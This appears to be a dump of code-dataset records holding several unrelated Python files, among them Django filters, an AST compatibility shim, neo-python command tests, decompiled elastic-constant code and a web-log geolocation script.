2*torch.arange(64, dtype=torch.float)*1/64 - 1\n\n print('Attacking Non-Quantized Model')\n correct = 0\n for batch_idx, (data, labels) in enumerate(valloader):\n if batch_idx > 1024 // args.batchsize:\n break\n logits = model(data)\n print(logits.size())\n correct += num_correct(logits, labels)\n accuracy = correct.to(torch.float) / 1024\n\n print('Evaluating Non-Adaptive Attack')\n\n print('Evaluating Adaptive Attack')\n\n print('Attacking Quantized Model')\n\nif __name__=='__main__':\n main()\n","sub_path":"imagenet_classfier.py","file_name":"imagenet_classfier.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"91068534","text":"import django_filters\nfrom .models import Vendor, Transaction_Category, Transaction\n\nclass VendorFilter(django_filters.FilterSet):\n class Meta:\n model = Vendor\n fields = {'Vendor_Name': ['icontains'],\n 'Vendor_Nickname': ['icontains'],\n 'Vendor_Default_Category_1': ['exact'],\n 'Vendor_Default_Category_2': ['exact'],\n 'Paycheck_Vendor': ['exact'],\n }\n\n\nclass TransactionCategoryFilter(django_filters.FilterSet):\n class Meta:\n model = Transaction_Category\n fields = {'Name': ['icontains'],\n 'Budget_Spending_Target': ['gt', 'lt', 'range']\n }\n\n\nclass TransactionFilter(django_filters.FilterSet):\n class Meta:\n model = Transaction\n fields = {'Transaction_Vendor': ['exact'],\n 'Transaction_Timestamp': ['gt', 'lt', 'range'],\n 'Transaction_Type': ['icontains'],\n 'Transaction_Direction': ['icontains'],\n 'Transaction_Amount': ['gt', 'lt', 'range'],\n 'Spending_Category': ['exact'],\n 'Manually_Nullified': ['exact']\n }\n\n\n","sub_path":"personal_finance/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"591385248","text":"\"\"\"\nCompatibility module for generating Python AST.\n\nThe interface mocks the stdlib 'ast' module of the most recent Python version\nwe support. Our codegen module then is written as if it targets that version.\nWhen necessary for older Python versions, this module can provide wrappers that\nconvert the new-style AST used by codegen.py into the old-style AST used by the\nPython version.\n\nIf a new Python version changes/breaks the AST for existing features, the process is:\n\n- change this module and codegen.py to use the new AST, get it working on\n latest version of Python.\n\n- add blocks something like the following as necessary to get it working on older\n versions of Python:\n\n if sys.version_info < (...):\n def NewAst(...):\n return ast.OldAst(...)\n\n else:\n NewAst = ast.NewAst\n\n\"\"\"\nimport ast\n\n# This is a very limited subset of Python AST:\n# - only the things needed by codegen.py\n# - only syntax features provided by the oldest Python version we support\n\nAdd = ast.Add\nAssign = ast.Assign\nBoolOp = ast.BoolOp\nBinOp = ast.BinOp\nCompare = ast.Compare\nDict = ast.Dict\nEq = ast.Eq\nExceptHandler = ast.ExceptHandler\nExpr = ast.Expr\nIf = ast.If\nIndex = ast.Index\nList = ast.List\nLoad = ast.Load\nModule = ast.Module\nNum = ast.Num\nOr = ast.Or\nPass = ast.Pass\nReturn = ast.Return\nStore = ast.Store\nStr = ast.Str\nSubscript = ast.Subscript\nTuple = ast.Tuple\narguments = ast.arguments\nJoinedStr = ast.JoinedStr\nFormattedValue = ast.FormattedValue\nAttribute = ast.Attribute\nCall = ast.Call\nFunctionDef = ast.FunctionDef\nName = ast.Name\nNameConstant = ast.NameConstant\nTry = ast.Try\narg = ast.arg\nkeyword = ast.keyword\n\n\ndef traverse(ast_node, func):\n \"\"\"\n Apply 'func' to ast_node (which is `ast.*` object)\n \"\"\"\n for node in ast.walk(ast_node):\n func(node)\n","sub_path":"src/fluent_compiler/ast_compat.py","file_name":"ast_compat.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"19478561","text":"import sys\nimport os\n\nimport cv2\nimport numpy as np\n\n# usage : python3 visualize.py \nCLASSES = ('gun')\n\nColor = [[0, 0, 0]]\n\ndef parse_det(detfile):\n result = []\n with open(detfile, 'r') as f:\n for line in f:\n token = line.strip().split()\n if len(token) != 6:\n continue\n x1 = int(float(token[0]))\n y1 = int(float(token[1]))\n x2 = int(float(token[2]))\n y2 = int(float(token[3]))\n cls = token[4]\n prob = float(token[5])\n result.append([(x1,y1),(x2,y2),cls,prob])\n return result \n\nif __name__ == '__main__':\n imgfile = sys.argv[1]\n detfile = sys.argv[2]\n\n image = cv2.imread(imgfile)\n result = parse_det(detfile)\n for left_up,right_bottom,class_name,prob in result:\n \n color = Color[CLASSES.index(class_name)]\n cv2.rectangle(image,left_up,right_bottom,color,2)\n label = class_name+str(round(prob,2))\n \n text_size, baseline = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.4, 1)\n p1 = (left_up[0], left_up[1]- text_size[1])\n cv2.rectangle(image, (p1[0] - 2//2, p1[1] - 2 - baseline), (p1[0] + text_size[0], p1[1] + text_size[1]), color, -1)\n cv2.putText(image, label, (p1[0], p1[1] + baseline), cv2.FONT_HERSHEY_SIMPLEX, 0.4, (255,255,255), 1, 8)\n\n cv2.imwrite('result.jpg',image)\n","sub_path":"Team4/yolov1/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"466449662","text":"palindromes = []\nn = 12345\n\nfor i in range(100, 1000):\n\tfor b in range(i):\n\t\tn = i * b\n\t\tpalindrome = True\n\t\tfor l in range(int(len(str(n))/2)):\n\t\t\tif str(n)[l] is not str(n)[-(l+1)]:\n\t\t\t\tpalindrome = False\n\t\tif palindrome:\n\t\t\tpalindromes.append(n)\nprint(max(palindromes))\n\t\t\t\t\t","sub_path":"Largest Palindrome Product.py","file_name":"Largest Palindrome Product.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"359101810","text":"import urllib.request, json\n\n\ndef getJsonFromUrl(url):\n with urllib.request.urlopen(url) as response:\n data = json.loads(response.read())\n return data\n\n\nif __name__ == \"__main__\":\n url = \"https://api.census.gov/data/2018/acs/acs1?get=NAME,group(B01001)&for=us:1\"\n getJsonFromUrl(url)\n","sub_path":"backend/backend_Scrapper.py","file_name":"backend_Scrapper.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"493807129","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.8 (3413)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win32\\egg\\elastic3rd\\elastic.py\n# Compiled at: 2020-01-13 09:40:31\n# Size of source mod 2**32: 8619 bytes\nimport crystal.deform as crydef\nimport crystal.lattice as crylat\nimport symmetry.symmetry as essym\nimport post.post as espost\nimport esutils, energy.glue, numpy as np, shutil, sys, os\nINPUT = 'INPUT'\nParaIn = esutils.read_input(INPUT)\neglue = __import__(('energy.' + ParaIn['EnergyCode']), fromlist=(ParaIn['EnergyCode']))\n\ndef elastic3(INPUT='INPUT'):\n esutils.print_logo()\n print('===================The input parameters===================')\n esutils.print_parain(ParaIn)\n flag_se = ParaIn['FlagSE'].lower()\n CrystalType = ParaIn['CrystalType']\n Ord = ParaIn['Ord']\n CalMode = ParaIn['CalMode'].lower()\n if CalMode == 's':\n StrainIn = esutils.read_strainmode()\n if flag_se == 'e':\n Cij_mode, coef_e, StrainMode = essym.CoefForSingleMode(CrystalType, Ord, StrainIn)\n elif flag_se == 's':\n pass\n elif CalMode == 'w':\n if flag_se == 'e':\n coef_e, StrainMode = essym.gen_strain_mode(CrystalType, Ord)\n else:\n if flag_se == 's':\n pass\n StrainList = esutils.gen_strain_list(ParaIn)\n n_Strain = len(StrainList)\n n_Mode = StrainMode.shape[0]\n E = np.zeros((n_Strain, n_Mode))\n if flag_se == 's':\n E = np.zeros((n_Strain, 6 * n_Mode))\n if flag_se == 'e':\n Efilename_Mode = 'Energy_Mode.txt'\n else:\n if flag_se == 's':\n Efilename_Mode = 'Stress_Mode.txt'\n else:\n BaseName = ParaIn['BaseName']\n if ParaIn['EnergyRun']:\n RunStr = eglue.run(ParaIn['NP'], BaseName)\n else:\n RunStr = energy.glue.run()\n BaseVec = eglue.get_base_vec(BaseName)\n print('====================Crystal Structure====================')\n V0 = crylat.print_lattice(BaseVec)\n dstpath = BaseName + '/Mode0'\n E0 = get_strain_e(ParaIn, dstpath, StrainMode, BaseVec)\n if CalMode == 's':\n shutil.copyfile('STRAINMODE', BaseName + '/STRAINMODE')\n print('\\n==================Deformed Crystal========================')\n for i in range(1, n_Mode + 1):\n print('----------------------------------------------------------')\n print('Start calculating Mode ' + str(i))\n flag_continue = 0\n ModePath = BaseName + '/Mode' + str(i)\n if ParaIn['Continue']:\n flag_continue = esutils.iscontinue(ModePath, 'Mode', flag_se)\n elif flag_continue:\n E = get_continue_mode_e(ModePath, E, i, flag_se)\n else:\n print(os.getcwd())\n esutils.creat_folder(ModePath)\n for j in range(0, n_Strain):\n print('Start calculating Strain ' + str(StrainList[j]) + ' in Mode ' + str(i))\n if j == int(n_Strain / 2):\n if flag_se == 'e':\n E[(j, i - 1)] = E0[0]\n else:\n if flag_se == 's':\n pass\n else:\n StrainPath = ModePath + '/Strain' + str(StrainList[j])\n Strain = StrainList[j] / 100.0\n Eij = get_strain_e(ParaIn, StrainPath, StrainMode, BaseVec, Strain, i)\n if flag_se == 'e':\n E[(j, i - 1)] = Eij[0]\n print('Energy:')\n esutils.print_e(Eij)\n else:\n if flag_se == 's':\n pass\n os.chdir('../../../')\n print('End of Strain ' + str(StrainList[j]) + ' in Mode ' + str(i) + '\\n')\n else:\n os.chdir(ModePath)\n if flag_se == 'e':\n np.savetxt(Efilename_Mode, E[:, i - 1])\n os.chdir('../../')\n\n print('End of Mode ' + str(i) + '\\n')\n else:\n np.savetxt(BaseName + '/EEnergy.txt', E)\n print('\\n==================Post Processing========================')\n coef_fit = espost.get_coef(StrainList / 100.0, E, V0, flag_se, 3)\n print(coef_fit)\n coef2 = coef_e.coef2\n coef3 = coef_e.coef3\n C2, C3 = espost.get_cij(coef_fit, coef2, coef3, flag_se)\n essym.print_cijk(CrystalType, 2)\n print(C2)\n essym.print_cijk(CrystalType, 3)\n print(C3)\n print('========================!!!END!!!=========================')\n\n\ndef getparam(ParaIn, dstpath, StrainOrMode):\n flag_se = ParaIn['FlagSE'].lower()\n flag_continue = 0\n if ParaIn['Continue']:\n flag_continue = esutils.iscontinue(dstpath, StrainOrMode, flag_se)\n BaseName = ParaIn['BaseName']\n PreName = ''\n if flag_se == 'e':\n PreName = 'Energy'\n else:\n if flag_se == 's':\n PreName = 'Stress'\n else:\n RunStr = ''\n if ParaIn['EnergyRun']:\n RunStr = eglue.run(ParaIn['NP'], BaseName)\n else:\n RunStr = energy.glue.run()\n return (\n flag_se, flag_continue, BaseName, RunStr, PreName)\n\n\ndef get_continue_mode_e(ModePath, E, Modei, flag_se='e'):\n os.chdir(ModePath)\n Efilename = ''\n if flag_se == 'e':\n Efilename = 'Energy_Mode.txt'\n print('The energy of Mode' + str(Modei) + ' was calculated previously.')\n print('The energy is :')\n else:\n if flag_se == 's':\n pass\n Etmp = np.loadtxt(Efilename)\n print(Etmp)\n os.chdir('../../')\n if flag_se == 'e':\n E[:, int(Modei - 1)] = Etmp\n else:\n if flag_se == 's':\n pass\n return E\n\n\ndef get_continue_strain_e(Efilename, flag_se, strain, Modei):\n if flag_se == 'e':\n if Modei == 0.0:\n print('The energy of undistorted structure was calculated previously.')\n else:\n print('The energy of Strain ' + str(strain) + ' in Mode ' + str(Modei) + 'was calculated previously.')\n elif flag_se == 's':\n pass\n print(Efilename)\n E0 = np.loadtxt(Efilename)\n return E0\n\n\ndef get_org_strain_e(BaseName, flag_se):\n E0 = 0\n if flag_se == 'e':\n E0 = eglue.get_energy(BaseName)\n print('Energy:')\n esutils.print_e(E0)\n else:\n if flag_se == 's':\n pass\n return E0\n\n\ndef get_strain_e(ParaIn, dstpath, StrainMode, BaseVec, strain=0.0, Modei=0):\n StrainOrMode = 'Strain'\n if Modei == 0:\n StrainOrMode = 'Mode'\n flag_se, flag_continue, BaseName, RunStr, PreName = getparam(ParaIn, dstpath, StrainOrMode)\n Efilename = PreName + '_' + StrainOrMode + '.txt'\n if flag_continue:\n os.chdir(dstpath)\n E0 = get_continue_strain_e(Efilename, flag_se, strain, Modei)\n if Modei == 0:\n os.chdir('../../')\n else:\n if Modei == 0:\n esutils.creat_folder(BaseName)\n shutil.copyfile('INPUT', BaseName + '/INPUT')\n esutils.creat_folder(dstpath)\n eglue.copy_files(BaseName, dstpath)\n os.chdir(dstpath)\n if Modei > 0:\n StrainMatrix = strain * StrainMode[(Modei - 1)]\n BaseVecNew = BaseVec.dot(crydef.strain2deformgrad(StrainMatrix))\n crylat.print_lattice(BaseVecNew)\n eglue.write_base_vec(BaseName, BaseVecNew)\n os.system(RunStr + '>> FP_OUT')\n E0 = get_org_strain_e(BaseName, flag_se)\n print(E0)\n np.savetxt(Efilename, E0)\n if Modei == 0:\n os.chdir('../../')\n return E0","sub_path":"pycfiles/ELASTIC3rd-2.4.2-py3.8/elastic.cpython-38.py","file_name":"elastic.cpython-38.py","file_ext":"py","file_size_in_byte":7895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"246729029","text":"# -*- coding: utf-8 -*-\nfrom .support import TestCase\n\n\nclass DBFIngestorTest(TestCase):\n\n def test_simple_dbf(self):\n fixture_path, entity = self.fixture('PAK_adm1.dbf')\n self.manager.ingest(fixture_path, entity)\n self.assertEqual(\n entity.first('processingStatus'), self.manager.STATUS_SUCCESS\n )\n # 8 rows + 1 table\n entities = self.get_emitted()\n self.assertEqual(len(entities), 8+1)\n self.assertEqual(entity.schema, 'Table')\n rows = self.get_emitted('Row')\n cells = ''.join([e.first('cells') for e in rows])\n self.assertIn('Azad Kashmir', cells)\n self.assertIn('Pakistan', cells)\n","sub_path":"services/ingest-file/tests/test_dbf.py","file_name":"test_dbf.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"187447120","text":"import os\nfrom neo.Settings import settings\nfrom neo.Utils.BlockchainFixtureTestCase import BlockchainFixtureTestCase\nfrom neo.Prompt.Commands.Show import CommandShow\nfrom neo.Prompt.Commands.Wallet import CommandWallet\nfrom neo.Prompt.PromptData import PromptData\nfrom neo.bin.prompt import PromptInterface\nfrom neo.Network.NodeLeader import NodeLeader, NeoNode\nfrom neo.Core.Blockchain import Blockchain\nfrom neo.Implementations.Wallets.peewee.UserWallet import UserWallet\nfrom mock import patch\nfrom neo.Network.address import Address\n\n\nclass CommandShowTestCase(BlockchainFixtureTestCase):\n\n @classmethod\n def leveldb_testpath(self):\n return os.path.join(settings.DATA_DIR_PATH, 'fixtures/test_chain')\n\n @classmethod\n def tearDown(cls):\n PromptData.Prompt = None\n PromptData.Wallet = None\n\n def test_show(self):\n # with no subcommand\n res = CommandShow().execute(None)\n self.assertFalse(res)\n\n # with invalid command\n args = ['badcommand']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_block(self):\n # test no block input\n args = ['block']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # show good block by index\n args = ['block', '9']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['index'], 9)\n self.assertIn('tx', res)\n\n # show good block by hash\n args = ['block', \"0x7c5b4c8a70336bf68e8679be7c9a2a15f85c0f6d0e14389019dcc3edfab2bb4b\"]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['index'], 9)\n self.assertIn('tx', res)\n\n # show the block's transactions only\n args = ['block', '9', \"tx\"]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 2)\n self.assertEqual(res[0]['type'], \"MinerTransaction\")\n self.assertEqual(res[1]['type'], \"ContractTransaction\")\n\n # request bad block\n args = ['block', 'blah']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_header(self):\n # test no header input\n args = ['header']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # show good header by index\n args = ['header', '9']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['index'], 9)\n self.assertNotIn('tx', res)\n\n # show good header by hash\n args = ['header', \"0x7c5b4c8a70336bf68e8679be7c9a2a15f85c0f6d0e14389019dcc3edfab2bb4b\"]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['index'], 9)\n self.assertNotIn('tx', res)\n\n # request bad header\n args = ['header', 'blah']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_tx(self):\n # test no tx input\n args = ['tx']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # show good tx\n txid = '0x83df8bd085fcb60b2789f7d0a9f876e5f3908567f7877fcba835e899b9dea0b5'\n args = ['tx', txid]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['txid'], txid)\n self.assertIn('height', res)\n self.assertIn('unspents', res)\n\n # query a bad tx\n args = ['tx', '0x83df8bd085fcb60b2789f7d0a9f876e5f3908567f7877fcba835e899b9dea0b6']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # query with bad args\n args = ['tx', 'blah']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_mem(self):\n args = ['mem']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n\n def test_show_nodes(self):\n # query nodes with no NodeLeader.Instance()\n with patch('neo.Network.NodeLeader.NodeLeader.Instance'):\n args = ['nodes']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # query nodes with connected peers\n # first make sure we have a predictable state\n NodeLeader.Instance().Reset()\n leader = NodeLeader.Instance()\n addr1 = Address(\"127.0.0.1:20333\")\n addr2 = Address(\"127.0.0.1:20334\")\n leader.ADDRS = [addr1, addr2]\n leader.DEAD_ADDRS = [Address(\"127.0.0.1:20335\")]\n test_node = NeoNode()\n test_node.host = \"127.0.0.1\"\n test_node.port = 20333\n test_node.address = Address(\"127.0.0.1:20333\")\n leader.Peers = [test_node]\n\n # now show nodes\n with patch('neo.Network.NeoNode.NeoNode.Name', return_value=\"test name\"):\n args = ['nodes']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertIn('Total Connected: 1', res)\n self.assertIn('Peer 0', res)\n\n # now use \"node\"\n args = ['node']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertIn('Total Connected: 1', res)\n self.assertIn('Peer 0', res)\n\n def test_show_state(self):\n # setup\n PromptInterface()\n\n args = ['state']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n\n def test_show_notifications(self):\n # setup\n wallet_1_addr = 'AJQ6FoaSXDFzA6wLnyZ1nFN7SGSN2oNTc3'\n\n # test with no NotificationDB\n with patch('neo.Implementations.Notifications.LevelDB.NotificationDB.NotificationDB.instance', return_value=None):\n args = ['notifications', wallet_1_addr]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # test with no input\n args = ['notifications']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # good test with address\n args = ['notifications', wallet_1_addr]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 1)\n jsn = res[0].ToJson()\n self.assertEqual(jsn['notify_type'], 'transfer')\n self.assertEqual(jsn['addr_from'], wallet_1_addr)\n\n # test an address with no notifications\n args = ['notifications', 'AZiE7xfyJALW7KmADWtCJXGGcnduYhGiCX']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # good test with contract\n contract_hash = \"31730cc9a1844891a3bafd1aa929a4142860d8d3\"\n args = ['notifications', contract_hash]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 1)\n jsn = res[0].ToJson()\n self.assertEqual(jsn['notify_type'], 'transfer')\n self.assertIn(contract_hash, jsn['contract'])\n\n # good test with contract 0x hash\n contract_hash = \"0x31730cc9a1844891a3bafd1aa929a4142860d8d3\"\n args = ['notifications', contract_hash]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 1)\n jsn = res[0].ToJson()\n self.assertEqual(jsn['notify_type'], 'transfer')\n self.assertEqual(contract_hash, jsn['contract'])\n\n # test contract not on the blockchain\n contract_hash = \"3a4acd3647086e7c44398aac0349802e6a171129\" # NEX token hash\n args = ['notifications', contract_hash]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # good test with block index\n args = ['notifications', \"12337\"]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 1)\n jsn = res[0].ToJson()\n self.assertEqual(jsn['notify_type'], 'transfer')\n self.assertEqual(jsn['block'], 12337)\n\n # test block with no notifications\n args = ['notifications', \"1\"]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # test bad block\n index = Blockchain.Default().Height + 1\n args = ['notifications', str(index)]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # test invalid input\n args = ['notifications', \"blah\"]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_account(self):\n # setup\n wallet_1_addr = 'AJQ6FoaSXDFzA6wLnyZ1nFN7SGSN2oNTc3'\n\n # test no account address entered\n args = ['account']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # test good account\n args = ['account', wallet_1_addr]\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['address'], wallet_1_addr)\n self.assertIn('balances', res)\n\n # test empty account\n with patch('neo.Prompt.PromptData.PromptData.Prompt'):\n with patch('neo.Prompt.Commands.Wallet.prompt', side_effect=[\"testpassword\", \"testpassword\"]):\n args = ['create', 'testwallet.wallet']\n res = CommandWallet().execute(args)\n self.assertTrue(res)\n self.assertIsInstance(res, UserWallet)\n\n addr = res.Addresses[0]\n args = ['account', addr]\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # remove test wallet\n os.remove(\"testwallet.wallet\")\n\n def test_show_asset(self):\n # test no asset entered\n args = ['asset']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # show all assets\n args = ['asset', 'all']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 2)\n self.assertEqual(res[1]['NEO'], \"0xc56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6daff7c9b\")\n self.assertEqual(res[0]['NEOGas'], \"0x602c79718b16e442de58778e148d0b1084e3b2dffd5de6b7b16cee7969282de7\")\n\n # query with \"neo\"\n args = ['asset', 'neo']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['assetId'], \"0xc56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6daff7c9b\")\n self.assertEqual(res['name'], \"NEO\")\n\n # query with \"gas\"\n args = ['asset', 'gas']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['assetId'], \"0x602c79718b16e442de58778e148d0b1084e3b2dffd5de6b7b16cee7969282de7\")\n self.assertEqual(res['name'], \"NEOGas\")\n\n # query with scripthash\n args = ['asset', 'c56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6daff7c9b']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['assetId'], \"0xc56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6daff7c9b\")\n self.assertEqual(res['name'], \"NEO\")\n\n # query with bad asset\n args = ['asset', 'c56f33fc6ecfcd0c225c4ab356fee59390af8560be0e930faebe74a6daff7c9e']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # query with bad input\n args = ['asset', 'blah']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n def test_show_contract(self):\n # test no contract entered\n args = ['contract']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # show all contracts\n args = ['contract', 'all']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(len(res), 6)\n self.assertEqual(res[0][\"test NEX Template V4\"], '0x31730cc9a1844891a3bafd1aa929a4142860d8d3')\n\n # query with contract scripthash\n args = ['contract', '31730cc9a1844891a3bafd1aa929a4142860d8d3']\n res = CommandShow().execute(args)\n self.assertTrue(res)\n self.assertEqual(res['name'], \"test NEX Template V4\")\n self.assertEqual(res['token']['name'], \"NEX Template V4\")\n self.assertEqual(res['token']['symbol'], \"NXT4\")\n\n # query with a contract scripthash not on the blockchain\n args = ['contract', '3a4acd3647086e7c44398aac0349802e6a171129'] # NEX token hash\n res = CommandShow().execute(args)\n self.assertFalse(res)\n\n # query bad input\n args = ['contract', 'blah']\n res = CommandShow().execute(args)\n self.assertFalse(res)\n","sub_path":"neo/Prompt/Commands/tests/test_show_commands.py","file_name":"test_show_commands.py","file_ext":"py","file_size_in_byte":12460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"181733297","text":"import re\nimport datetime\nfrom datetime import date\nfrom datetime import timedelta\nimport geoip2.database\nfrom ua_parser import user_agent_parser\nimport xlsxwriter\nimport os\nimport pysftp\nimport gzip\nimport os\nimport pypyodbc\ndef GetFileName():\n\tpath = \"./data/access.log.\"\n\tmonths_esp =['Ene','Feb','Mar','Abr','May','Jun','Jul','Ago','Sep','Oct','Nov','Dic']\n\tyesterday = date.today() - timedelta(days=1)\n\treturn path+str(yesterday.day)+months_esp[yesterday.month-1]+str(yesterday.year)\ndef GetDate(str_date):\n\tmonths_eng =['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']\n\tmonths_esp =['Ene','Feb','Mar','Abr','May','Jun','Jul','Ago','Sep','Oct','Nov','Dic']\n\tsplit1 = str_date.split(':')\n\tsplit2 = split1[0].split('/')\n\tsplit3 = split1[-1].split(' ')\n\ttry:\n\t\tint_month = months_eng.index(split2[1])+1\n\texcept ValueError:\n\t\tint_month = months_esp.index(split2[1])+1\n\treturn datetime.datetime(int(split2[2]), int_month, int(split2[0]), int(split1[1]), int(split1[2]),int(split3[0]))\nconnection = pypyodbc.connect('Driver={SQL Server};Server=XXXX;Database=XXXXX;uid=XXXXXX;pwd=XXXXXX')\ncursor = connection.cursor()\nSQLCommand = (\"INSERT INTO XXXXX (Fecha, Anyo, Mes,Dia,Fabricante_Dispositivo,Familia_Dispositivo,Modelo_Dispositivo,Familia_Sistema_Operativo,Version_Sistema_Operativo,Familia_Navegador,Version_Navegador,IP,Pais,Region,Ciudad,Latitud,Longitud,Peticion,Origen,Servidor) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\")\ncursor.execute(\"TRUNCATE TABLE XXXX\") #Truncate if the GeoLite DB is updated\nftpfiles = []\ncnopts = pysftp.CnOpts()\ncnopts.hostkeys = None\n#SFTP Connection details\nwith pysftp.Connection('XXXXX', username='XXXXX', password='XXXXXX', cnopts=cnopts) as sftp:\n\twith sftp.cd('logs'): \n\t\tfor attr in sftp.listdir_attr():\n\t\t\tif attr.filename.endswith('.gz') and attr.filename.startswith('access.log'):\n\t\t\t\tftpfiles.append((attr.filename, int(attr.st_mtime)))\n\t\tftpfiles.sort(key=lambda x: x[1])\n\t\tsftp.get(ftpfiles[-1][0], preserve_mtime=True)\nf=gzip.open(ftpfiles[-1][0],'rb')\nfile_content=f.read()\nwith open(GetFileName(),\"w+\") as ftemp:\n ftemp.write(file_content)\nf.close()\nos.remove(ftpfiles[-1][0])\nworkbook = xlsxwriter.Workbook('webdata.xlsx')\ndateformat = workbook.add_format({'num_format': 'dd/mm/yy'})\nworksheet = workbook.add_worksheet()\nworksheet.write(0, 0, 'Fecha')\nworksheet.write(0, 1, 'Anyo')\nworksheet.write(0, 2, 'Mes')\nworksheet.write(0, 3, 'Dia')\nworksheet.write(0, 4, 'Fabricante Dispositivo')\nworksheet.write(0, 5, 'Familia Dispositivo')\nworksheet.write(0, 6, 'Modelo Dispositivo')\nworksheet.write(0, 7, 'Familia Sistema Operativo')\nworksheet.write(0, 8, 'Version Sistema Operativo')\nworksheet.write(0, 9, 'Familia Navegador')\nworksheet.write(0, 10, 'Version Navegador')\nworksheet.write(0, 11, 'IP')\nworksheet.write(0, 12, 'Pais')\nworksheet.write(0, 13, 'Region')\nworksheet.write(0, 14, 'Ciudad')\nworksheet.write(0, 15, 'Latitud')\nworksheet.write(0, 16, 'Longitud')\nworksheet.write(0, 17, 'Peticion')\nworksheet.write(0, 18, 'Origen')\nworksheet.write(0, 19, 'Servidor')\nrow = 1\nregexhtml = re.compile('(.+) - - \\[(.+)\\] \\\"GET \\/(.+\\.html) .+\\\" \\d+ \\d+ (.+) \\\"(.+)\\\" \\\"(.+)\\\" \\\".+\\\"')\nregexpdf = re.compile('(.+) - - \\[(.+)\\] \\\"GET \\/(.+\\.pdf) .+\\\" \\d+ \\d+ (.+) \\\"(.+)\\\" \\\"(.+)\\\" \\\".+\\\"')\nreader = geoip2.database.Reader('./mmdb/GeoLite2-City.mmdb') #Requires GeoLite2-City.mmdb\nfor file in os.listdir(\"./data\"):\n\twith open(\"./data/\"+file) as f:\n\t\tfor line in f:\n\t\t\tdetails = regexhtml.findall(line)\n\t\t\tdetails += regexpdf.findall(line)\n\t\t\tif len(details) == 0:\n\t\t\t\tcontinue\n\t\t\tVisitDate = GetDate(details[0][1])\n\t\t\tworksheet.write(row, 0, VisitDate.date(),dateformat)\n\t\t\tworksheet.write(row, 1, VisitDate.year)\n\t\t\tworksheet.write(row, 2, VisitDate.month)\n\t\t\tworksheet.write(row, 3, VisitDate.day)\n\t\t\n\t\t\n\t\t\tparsed_string = 